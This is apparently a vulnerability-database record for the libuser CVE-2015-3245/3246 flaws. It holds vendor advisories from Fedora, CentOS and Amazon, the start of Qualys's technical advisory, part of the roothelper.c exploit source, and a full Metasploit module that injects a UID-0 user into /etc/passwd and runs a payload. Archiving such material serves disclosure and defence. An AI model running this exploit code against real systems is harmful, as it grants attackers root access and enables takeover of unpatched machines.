void\ngenerate_fullname(char *const fullname, const ssize_t fullname_len,\n const char c)\n{\n if (fullname == NULL) die();\n if (fullname_len < 0) die();\n if (fullname_len >= GECOS_LENGTH) die();\n\n memset(fullname, 'A', fullname_len);\n\n if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {\n if (!isascii((unsigned char)c)) die();\n if (!isgraph((unsigned char)c)) die();\n fullname[fullname_len-1] = c;\n }\n}\n\nstatic size_t siteinfo_len;\nstatic size_t fullname_off;\n\nstatic size_t before_fullname_len;\nstatic char * before_fullname;\n\nstatic size_t after_fullname_len;\nstatic char * after_fullname;\n\nstatic int\ngenerate_userhelper(const char *const a, const int i, char *const contents)\n{\n if (i < 0) {\n if (i != -1) die();\n return 0;\n }\n if (a == NULL) die();\n if ((unsigned int)i >= strlen(a)) die();\n if (contents == NULL) die();\n\n const char _c = a[i];\n const bool is_user_wildcard = (_c == '?');\n const char c = (is_user_wildcard ? candidate_users[0] : _c);\n if (c == '\\0') die();\n\n const size_t target = passwd_fsize-1 + i;\n const rlim_t fsizelim = (a[i+1] == '\\0') ? RLIM_INFINITY : target+1;\n if (fsizelim < passwd_fsize) die();\n\n const size_t contents_len = strlen(contents);\n if (contents_len < passwd_fsize) die();\n if (contents_len <= fullname_off) die();\n\n char *const fullname = contents + fullname_off;\n if (memcmp(fullname - before_fullname_len,\n before_fullname, before_fullname_len) != 0) die();\n\n const char *rest = strchr(fullname, '\\n');\n if (rest == NULL) die();\n rest++;\n\n const ssize_t fullname_len = (rest - fullname) - after_fullname_len;\n if (fullname_len >= GECOS_LENGTH) die();\n if (fullname_len < 0) die();\n\n if (rest[-1] != '\\n') die();\n generate_fullname(fullname, fullname_len, c);\n memcpy(fullname + fullname_len, after_fullname, after_fullname_len);\n if (rest[-1] != '\\n') die();\n\n if (memcmp(rest - after_fullname_len,\n after_fullname, after_fullname_len) != 0) die();\n\n size_t offset;\n for (offset = fullname_off; offset < contents_len; offset++) {\n\n const char x = contents[offset];\n if (x == '\\0') die();\n if (is_user_wildcard) {\n if (strchr(candidate_users, x) == NULL) continue;\n superuser_elect = x;\n } else {\n if (x != c) continue;\n }\n\n const ssize_t new_fullname_len = fullname_len + (target - offset);\n if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */\n if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;\n\n if (offset < fullname_off + fullname_len) {\n if (offset != fullname_off + fullname_len-1) die();\n if (new_fullname_len == 0) continue;\n }\n if (offset >= contents_len-1) {\n if (offset != contents_len-1) die();\n if (fsizelim != RLIM_INFINITY) continue;\n }\n\n { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);\n\n memcpy(new_contents, contents, fullname_off);\n generate_fullname(new_contents + fullname_off, new_fullname_len, c);\n memcpy(new_contents + fullname_off + new_fullname_len,\n contents + fullname_off + fullname_len,\n contents_len+1 - (fullname_off + fullname_len));\n\n if (strlen(new_contents) != contents_len +\n (new_fullname_len - fullname_len)) die();\n\n if (fsizelim != RLIM_INFINITY) {\n if (fsizelim >= strlen(new_contents)) die();\n if (fsizelim >= contents_len) die();\n memcpy(new_contents + fsizelim,\n contents + fsizelim,\n contents_len+1 - fsizelim);\n }\n\n const int err = generate_userhelper(a, i-1, new_contents);\n free(new_contents);\n if (err < 0) continue; }\n\n if (i >= GECOS_LENGTH) die();\n struct userhelper *const uh = &userhelpers[i];\n memset(uh, 0, sizeof(*uh));\n\n uh->fsizelim = fsizelim;\n if (new_fullname_len >= GECOS_LENGTH) die();\n generate_fullname(uh->gecos.full_name, new_fullname_len, c);\n return 0;\n }\n return -1;\n}\n\nstatic int\ngenerate_userhelpers(const char *const _a)\n{\n char a[GECOS_LENGTH];\n if (_a == NULL) die();\n const int n = xsnprintf(a, sizeof(a), \"\\n%s\\n\", _a);\n if (n >= GECOS_LENGTH) die();\n if (n <= 0) die();\n\n const int fd = xopen(PASSWD, O_RDONLY);\n struct stat st;\n if (fstat(fd, &st) != 0) die();\n if (st.st_size >= 10*1024*1024) die();\n if (st.st_size <= 0) die();\n passwd_fsize = st.st_size;\n\n char *const contents = xmalloc(passwd_fsize + 1);\n if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();\n xclose(fd);\n contents[passwd_fsize] = '\\0';\n if (strlen(contents) != passwd_fsize) die();\n if (contents[passwd_fsize-1] != '\\n') die();\n\n char fragment[64];\n xsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username);\n const char *line = strstr(contents, fragment);\n if (line == NULL) die();\n line++;\n\n const char *rest = strchr(line, '\\n');\n if (rest == NULL) die();\n if (rest <= line) die();\n rest++;\n\n if (strcmp(_a, IS_USER_LAST) == 0) {\n const bool is_user_last = (*rest == '\\0');\n free(contents);\n return is_user_last;\n }\n\n unsigned int i;\n const char *field = line;\n\n for (i = 0; i <= 5; i++) {\n const char *const field_end = strchr(field, ':');\n if (field_end == NULL) die();\n if (field_end >= rest) die();\n const size_t field_len = field_end - field;\n\n switch (i) {\n case 0:\n if (field_len != strlen(my.username)) die();\n if (memcmp(field, my.username, field_len) != 0) die();\n break;\n case 1:\n if (*field != 'x') die();\n break;\n case 2:\n if (strtoimax(field, NULL, 10) != getuid()) die();\n break;\n case 3:\n if (strtoimax(field, NULL, 10) != getgid()) die();\n break;\n case 4:\n {\n char assembled[GECOS_LENGTH];\n xsnprintf(assembled, sizeof(assembled),\n \"%.*s\", (int)field_len, field);\n if (strlen(assembled) != field_len) die();\n\n struct gecos_data gecos;\n memset(&gecos, 0, sizeof(gecos));\n xsnprintf(gecos.site_info, sizeof(gecos.site_info),\n \"%s\", my.gecos.site_info);\n if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();\n }\n\n siteinfo_len = strlen(my.gecos.site_info);\n fullname_off = field - contents;\n\n before_fullname_len = field - line;\n before_fullname = xstrndup(line, before_fullname_len);\n\n after_fullname_len = rest - field;\n after_fullname = xstrndup(field, after_fullname_len);\n break;\n\n case 5:\n if (*field != '/') die();\n break;\n default:\n die();\n }\n field = field_end + 1;\n }\n\n const int err = generate_userhelper(a, n-1, contents);\n\n free(before_fullname), before_fullname = NULL;\n free(after_fullname), after_fullname = NULL;\n free(contents);\n\n return (err < 0) ? -1 : n;\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "fedora": [{"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3245", "CVE-2015-3246"], "description": "The libuser library implements a standardized interface for manipulating and administering user and group accounts. The library uses pluggable back-ends to interface to its data sources. Sample applications modeled after those included with the shadow password suite are included. ", "modified": "2015-07-30T13:55:19", "published": "2015-07-30T13:55:19", "id": "FEDORA:1BECE6060E99", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 22 Update: libuser-0.62-1.fc22", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:53", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3245", "CVE-2015-3246"], "description": "The libuser library implements a standardized interface for manipulating and administering user and group accounts. The library uses pluggable back-ends to interface to its data sources. Sample applications modeled after those included with the shadow password suite are included. ", "modified": "2015-08-03T04:31:00", "published": "2015-08-03T04:31:00", "id": "FEDORA:C19EE608770D", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 21 Update: libuser-0.62-1.fc21", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2020-10-07T22:10:23", "description": "This module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7. This module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd. Note, the password for the current user is required by userhelper. Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail. This module has been tested successfully on libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.\n", "published": "2018-04-23T17:49:11", "type": "metasploit", "title": "Libuser roothelper Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3245", "CVE-2015-3246"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/LINUX/LOCAL/LIBUSER_ROOTHELPER_PRIV_ESC", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = GreatRanking\n\n include Msf::Post::File\n include Msf::Post::Linux::Priv\n include Msf::Post::Linux::System\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Libuser roothelper Privilege Escalation',\n 'Description' => %q{\n This module attempts to gain root privileges on Red Hat based Linux\n systems, including RHEL, Fedora and CentOS, by exploiting a newline\n injection vulnerability in libuser and userhelper versions prior to\n 0.56.13-8 and version 0.60 before 0.60-7.\n\n This module makes use of the roothelper.c exploit from Qualys to\n insert a new user with UID=0 in /etc/passwd.\n\n Note, the password for the current user is required by userhelper.\n\n Note, on some systems, such as Fedora 11, the user entry for the\n current user in /etc/passwd will become corrupted and exploitation\n will fail.\n\n This module has been tested successfully on libuser packaged versions\n 0.56.13-4.el6 on CentOS 6.0 (x86_64);\n 0.56.13-5.el6 on CentOS 6.5 (x86_64);\n 0.60-5.el7 on CentOS 7.1-1503 (x86_64);\n 0.56.16-1.fc13 on Fedora 13 (i686);\n 0.59-1.fc19 on Fedora Desktop 19 (x86_64);\n 0.60-3.fc20 on Fedora Desktop 20 (x86_64);\n 0.60-6.fc21 on Fedora Desktop 21 (x86_64);\n 0.60-6.fc22 on Fedora Desktop 22 (x86_64);\n 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and\n 0.60-5.el7 on Red Hat 7.0 (x86_64).\n\n RHEL 5 is vulnerable, however the installed version of glibc (2.5)\n is missing various functions required by roothelper.c.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Qualys', # Discovery and C exploit\n 'bcoles' # Metasploit\n ],\n 'DisclosureDate' => '2015-07-24',\n 'Platform' => [ 'linux' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\n 'Targets' => [[ 'Auto', {} ]],\n 'Privileged' => true,\n 'References' =>\n [\n [ 'EDB', '37706' ],\n [ 'CVE', '2015-3245' ],\n [ 'CVE', '2015-3246' ],\n [ 'BID', '76021' ],\n [ 'BID', '76022' ],\n [ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],\n [ 'URL', 'https://access.redhat.com/articles/1537873' ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' =>\n {\n 'AKA' => ['roothelper.c']\n }\n ))\n register_options [\n OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),\n OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])\n ]\n register_advanced_options [\n OptBool.new('ForceExploit', [ false, 'Override check result', false ]),\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n ]\n end\n\n def base_dir\n datastore['WritableDir'].to_s\n end\n\n def password\n datastore['PASSWORD'].to_s\n end\n\n def upload(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n rm_f path\n write_file path, data\n register_file_for_cleanup path\n end\n\n def upload_and_chmodx(path, data)\n upload path, data\n cmd_exec \"chmod +x '#{path}'\"\n end\n\n def live_compile?\n compile = false\n\n if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')\n if has_gcc?\n vprint_good 'gcc is installed'\n compile = true\n else\n unless datastore['COMPILE'].eql? 'Auto'\n fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'\n end\n end\n end\n\n compile\n end\n\n def check\n userhelper_path = '/usr/sbin/userhelper'\n unless setuid? userhelper_path\n vprint_error \"#{userhelper_path} is not setuid\"\n return CheckCode::Safe\n end\n vprint_good \"#{userhelper_path} is setuid\"\n\n unless command_exists? 'script'\n vprint_error \"script is not installed. Exploitation will fail.\"\n return CheckCode::Safe\n end\n vprint_good 'script is installed'\n\n if immutable?('/etc/passwd')\n vprint_error 'File /etc/passwd is immutable'\n return CheckCode::Safe\n end\n vprint_good 'File /etc/passwd is not immutable'\n\n glibc_banner = cmd_exec 'ldd --version'\n glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\\s+\\(.*\\)\\s+([\\d\\.]+)/).flatten.first\n if glibc_version.to_s.eql? ''\n vprint_error 'Could not determine the GNU C library version'\n return CheckCode::Detected\n end\n\n # roothelper.c requires functions only available since glibc 2.6+\n if glibc_version < Gem::Version.new('2.6')\n vprint_error \"GNU C Library version #{glibc_version} is not supported\"\n return CheckCode::Safe\n end\n vprint_good \"GNU C Library version #{glibc_version} is supported\"\n\n CheckCode::Detected\n end\n\n def exploit\n if check == CheckCode::Safe\n unless datastore['ForceExploit']\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\n end\n print_warning 'Target does not appear to be vulnerable'\n end\n\n if is_root?\n unless datastore['ForceExploit']\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\n end\n end\n\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\n end\n\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\n executable_path = \"#{base_dir}/#{executable_name}\"\n\n if live_compile?\n vprint_status 'Live compiling exploit on system...'\n\n # Upload Qualys' roothelper.c exploit:\n # - https://www.exploit-db.com/exploits/37706/\n path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'\n fd = ::File.open path, 'rb'\n c_code = fd.read fd.stat.size\n fd.close\n upload \"#{executable_path}.c\", c_code\n output = cmd_exec \"gcc -o #{executable_path} #{executable_path}.c\"\n\n unless output.blank?\n print_error output\n fail_with Failure::Unknown, \"#{executable_path}.c failed to compile\"\n end\n\n cmd_exec \"chmod +x #{executable_path}\"\n register_file_for_cleanup executable_path\n else\n vprint_status 'Dropping pre-compiled exploit on system...'\n\n # Cross-compiled with:\n # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c\n path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'\n fd = ::File.open path, 'rb'\n executable_data = fd.read fd.stat.size\n fd.close\n upload_and_chmodx executable_path, executable_data\n end\n\n # Run roothelper\n timeout = 180\n print_status \"Launching roothelper exploit (Timeout: #{timeout})...\"\n output = cmd_exec \"echo #{password.gsub(/'/, \"\\\\\\\\'\")} | #{executable_path}\", nil, timeout\n output.each_line { |line| vprint_status line.chomp }\n\n if output =~ %r{Creating a backup copy of \"/etc/passwd\" named \"(.*)\"}\n register_file_for_cleanup $1\n end\n\n if output =~ /died in parent: .*.c:517: forkstop_userhelper/\n fail_with Failure::NoAccess, 'Incorrect password'\n end\n\n @username = nil\n\n if output =~ /Exploit successful, run \"su ([a-z])\" to become root/\n @username = $1\n end\n\n if @username.blank?\n fail_with Failure::Unknown, 'Something went wrong'\n end\n\n print_good \"Success! User '#{@username}' added to /etc/passwd\"\n\n # Upload payload executable\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n # Execute payload executable\n vprint_status 'Executing payload...'\n cmd_exec \"script -c \\\"su - #{@username} -c #{payload_path}\\\" | sh & echo \"\n register_file_for_cleanup 'typescript'\n end\n\n #\n # Remove new user from /etc/passwd\n #\n def on_new_session(session)\n new_user_removed = false\n\n if session.type.to_s.eql? 'meterpreter'\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\n\n # Remove new user\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' /etc/passwd\\\"\"\n\n # Wait for clean up\n Rex.sleep 5\n\n # Check for new user in /etc/passwd\n passwd_contents = session.fs.file.open('/etc/passwd').read.to_s\n unless passwd_contents =~ /^#{@username}:/\n new_user_removed = true\n end\n elsif session.type.to_s.eql? 'shell'\n # Remove new user\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\"\n\n # Check for new user in /etc/passwd\n passwd_user = session.shell_command_token \"grep '#{@username}:' /etc/passwd\"\n unless passwd_user =~ /^#{@username}:/\n new_user_removed = true\n end\n end\n\n unless new_user_removed\n print_warning \"Could not remove user '#{@username}' from /etc/passwd\"\n end\n rescue => e\n print_error \"Error during cleanup: #{e.message}\"\n ensure\n super\n end\nend\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/libuser_roothelper_priv_esc.rb"}], "centos": [{"lastseen": "2019-12-20T18:26:05", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "**CentOS Errata and Security Advisory** CESA-2015:1482\n\n\nThe libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-cr-announce/2015-July/008303.html\n\n**Affected packages:**\nlibuser\nlibuser-devel\nlibuser-python\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2015-1482.html", "edition": 3, "modified": "2015-07-26T14:24:03", "published": "2015-07-26T14:24:03", "href": "http://lists.centos.org/pipermail/centos-cr-announce/2015-July/008303.html", "id": "CESA-2015:1482", "title": "libuser security update", "type": "centos", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-20T18:25:11", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "**CentOS Errata and Security Advisory** CESA-2015:1483\n\n\nThe libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2015-July/033295.html\n\n**Affected packages:**\nlibuser\nlibuser-devel\nlibuser-python\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2015-1483.html", "edition": 3, "modified": "2015-07-24T11:44:59", "published": "2015-07-24T11:44:59", "href": "http://lists.centos.org/pipermail/centos-announce/2015-July/033295.html", "id": "CESA-2015:1483", "title": "libuser security update", "type": "centos", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "amazon": [{"lastseen": "2020-11-10T12:36:12", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "**Issue Overview:**\n\nIt was found that libuser, as used in the chfn userhelper functionality, does not properly filter out newline characters, which allows an authenticated local attacker to corrupt the /etc/passwd file and cause denial-of-service against the system. ([CVE-2015-3245 __](<https://access.redhat.com/security/cve/CVE-2015-3245>))\n\nA flaw was found in the way the libuser library handled the /etc/passwd file. A local attacker could use an application compiled against libuser (for example, userhelper) to manipulate the /etc/passwd file, which could result in a denial of service or possibly allow the attacker to escalate their privileges to root. ([CVE-2015-3246 __](<https://access.redhat.com/security/cve/CVE-2015-3246>))\n\n \n**Affected Packages:** \n\n\nusermode, libuser\n\n \n**Issue Correction:** \nRun _yum update usermode libuser_ to update your system.\n\n \n\n\n**New Packages:**\n \n \n i686: \n usermode-1.102-3.18.amzn1.i686 \n usermode-debuginfo-1.102-3.18.amzn1.i686 \n libuser-python-0.56.13-8.15.amzn1.i686 \n libuser-0.56.13-8.15.amzn1.i686 \n libuser-debuginfo-0.56.13-8.15.amzn1.i686 \n libuser-devel-0.56.13-8.15.amzn1.i686 \n \n src: \n usermode-1.102-3.18.amzn1.src \n libuser-0.56.13-8.15.amzn1.src \n \n x86_64: \n usermode-1.102-3.18.amzn1.x86_64 \n usermode-debuginfo-1.102-3.18.amzn1.x86_64 \n libuser-devel-0.56.13-8.15.amzn1.x86_64 \n libuser-python-0.56.13-8.15.amzn1.x86_64 \n libuser-debuginfo-0.56.13-8.15.amzn1.x86_64 \n libuser-0.56.13-8.15.amzn1.x86_64 \n \n \n", "edition": 5, "modified": "2015-07-23T10:50:00", "published": "2015-07-23T10:50:00", "id": "ALAS-2015-572", "href": "https://alas.aws.amazon.com/ALAS-2015-572.html", "title": "Important: usermode, libuser", "type": "amazon", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2018-02-06T03:27:20", "edition": 2, "description": "Exploit for linux platform in category dos / poc", "published": "2015-07-27T00:00:00", "type": "zdt", "title": "Libuser Library - Multiple Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-27T00:00:00", "id": "1337DAY-ID-23934", "href": "https://0day.today/exploit/description/23934", "sourceData": "CVE-2015-3245 userhelper chfn() newline filtering\r\n \r\nCVE-2015-3246 libuser passwd file handling\r\n \r\n \r\n--[ Summary ]-----------------------------------------------------------------\r\n \r\nThe libuser library implements a standardized interface for manipulating\r\nand administering user and group accounts, and is installed by default\r\non Linux distributions derived from Red Hat's codebase. During an\r\ninternal code audit at Qualys, we discovered multiple libuser-related\r\nvulnerabilities that allow local users to perform denial-of-service and\r\nprivilege-escalation attacks. As a proof of concept, we developed an\r\nunusual local root exploit against one of libuser's applications.\r\n \r\n \r\n----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering)\r\n \r\nWe discovered a bug in userhelper, a setuid-root program from the\r\nusermode package that provides a basic interface to change a user's\r\npassword, gecos information, and shell; its -f (Full Name), -o (Office),\r\n-p (Office Phone) and -h (Home Phone) command-line options are\r\nequivalent to those of the traditional chfn program.\r\n \r\nuserhelper's chfn() function verifies that the fields it was given on\r\nthe command-line are sane (i.e., contain no forbidden characters).\r\nUnfortunately, these forbidden characters (\":,=\") do not include '\\n'\r\nand allow local attackers to inject newline characters into /etc/passwd\r\nand alter this file in unexpected ways.\r\n \r\nTo the best of our knowledge, this bug is a local denial-of-service\r\nonly: we were not able to turn it into a local root exploit, but maybe\r\nsome creative minds will.\r\n \r\nThere is another, secondary aspect of this bug: userhelper depends on\r\nlibuser to modify /etc/passwd, and libuser's format_generic() and\r\ngeneric_setpass() functions reject fields containing a ':' that would be\r\ninterpreted as a field separator. Vulnerability #1 could have been\r\nprevented if libuser had also rejected '\\n' characters.\r\n \r\n \r\n----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling)\r\n \r\nWe discovered a bug in libuser itself: even though traditional programs\r\nlike passwd, chfn, and chsh work on a temporary copy of /etc/passwd and\r\neventually rename() it, libuser modifies /etc/passwd directly.\r\nUnfortunately, if anything goes wrong during these modifications,\r\nlibuser may leave /etc/passwd in an inconsistent state.\r\n \r\nThis bug is not just another local denial-of-service: we were able to\r\nturn it into a local root exploit against userhelper and chfn (if linked\r\nwith libuser).\r\n \r\nThere is also another, secondary aspect of this bug: glibc modules like\r\nnss and nscd do not expect /etc/passwd to be directly modified while\r\nthey parse its contents, and programs from packages like shadow-utils\r\nand util-linux use lckpwdf() locks that are incompatible with libuser's\r\nfcntl() locks.\r\n \r\n \r\n--[ Exploitation Overview ]---------------------------------------------------\r\n \r\nIn this section, we outline our userhelper exploit against libuser's\r\nVulnerability #2; later in this advisory, we explain how it can be\r\neasily adapted to chfn (if linked with libuser).\r\n \r\nOur ultimate goal is to inject an arbitrary line into /etc/passwd (for\r\nexample, the a-line \"\\na::0:0::/:\\n\") but we first need to understand\r\nhow libuser's generic_mod() function modifies our own user's line in\r\n/etc/passwd:\r\n \r\n- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND\r\n nor O_TRUNC);\r\n \r\n- acquire the file's fcntl() write-lock (an exclusive, but advisory\r\n lock);\r\n \r\n- read() the file's contents (into a g_malloc()ated buffer);\r\n \r\n- lseek() the file to the beginning of our user's line (and skip the\r\n unmodified lines that precede);\r\n \r\n- write() our user's new, modified line (and the rest of the unmodified\r\n lines that follow) to the file;\r\n \r\n- ftruncate() the file (if our user's new, modified line is shorter than\r\n the old one);\r\n \r\n- release the file's fcntl() write-lock;\r\n \r\n- close() the file.\r\n \r\nSurprisingly, we only need two things in our toolbox in order to exploit\r\nthis function and inject the a-line into /etc/passwd:\r\n \r\n- a pencil and eraser that allows us to repeatedly write() and\r\n re-write() our own GECOS field (its length and last character in\r\n particular) in /etc/passwd: the userhelper program itself;\r\n \r\n- a pair of scissors that allows us to interrupt write() with byte\r\n precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, \"The\r\n maximum size of files that the process may create. Attempts to extend\r\n a file beyond this limit result in delivery of a SIGXFSZ signal. By\r\n default, this signal terminates a process, but a process can catch\r\n this signal instead, in which case the relevant system call (e.g.,\r\n write(2), truncate(2)) fails with the error EFBIG.\"\r\n \r\nFor each character in the a-line (beginning with its last character and\r\nending with its first character), we fork() a new process and execve()\r\nuserhelper with:\r\n \r\n- a GECOS field that allows us to write() the character to its target\r\n offset in /etc/passwd;\r\n \r\n- an RLIMIT_FSIZE that allows us to terminate the process before it\r\n write()s or ftruncate()s the characters that follow.\r\n \r\nIn this example, the newline character '\\n' is represented by |, and the\r\nlast character written (before write() is interrupted by RLIMIT_FSIZE)\r\nis marked with ^:\r\n \r\n...|...|user:x:1000:1000::/home/user:/bin/bash|...|...|\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...|\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...|\r\n ^\r\n...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...|\r\n \r\n \r\n--[ Exploitation Details ]----------------------------------------------------\r\n \r\nIn this section, we discuss the problems we encountered while developing\r\nour userhelper exploit, and how we solved them.\r\n \r\n \r\n----[ Problem #1 (missing fields)\r\n \r\nAt the end of our \"Exploitation Overview\" example, our home-directory\r\nand shell-program fields seem to magically reappear in /etc/passwd,\r\nalthough they were previously cut out by RLIMIT_FSIZE.\r\n \r\nThis magic trick introduces Problem #1: we cannot simply fork() a new\r\nprocess for each character in the a-line, execve() userhelper, and let\r\nit run until the character is written to its target offset in\r\n/etc/passwd, because libuser refuses to modify our user's line if some\r\nof its fields are missing.\r\n \r\nIn order to solve this Problem #1, we fork() a new process for each\r\ncharacter in the a-line, execve() userhelper, and let it load our user's\r\noriginal, uncut line from /etc/passwd, but we SIGSTOP the process before\r\nit open()s /etc/passwd for writing. Only after we have started and\r\nstopped all userhelper processes can we safely SIGCONT them, one at a\r\ntime.\r\n \r\n \r\n----[ Problem #2 (backup file)\r\n \r\nBefore libuser open()s /etc/passwd for writing, it creates a backup file\r\nnamed /etc/passwd- 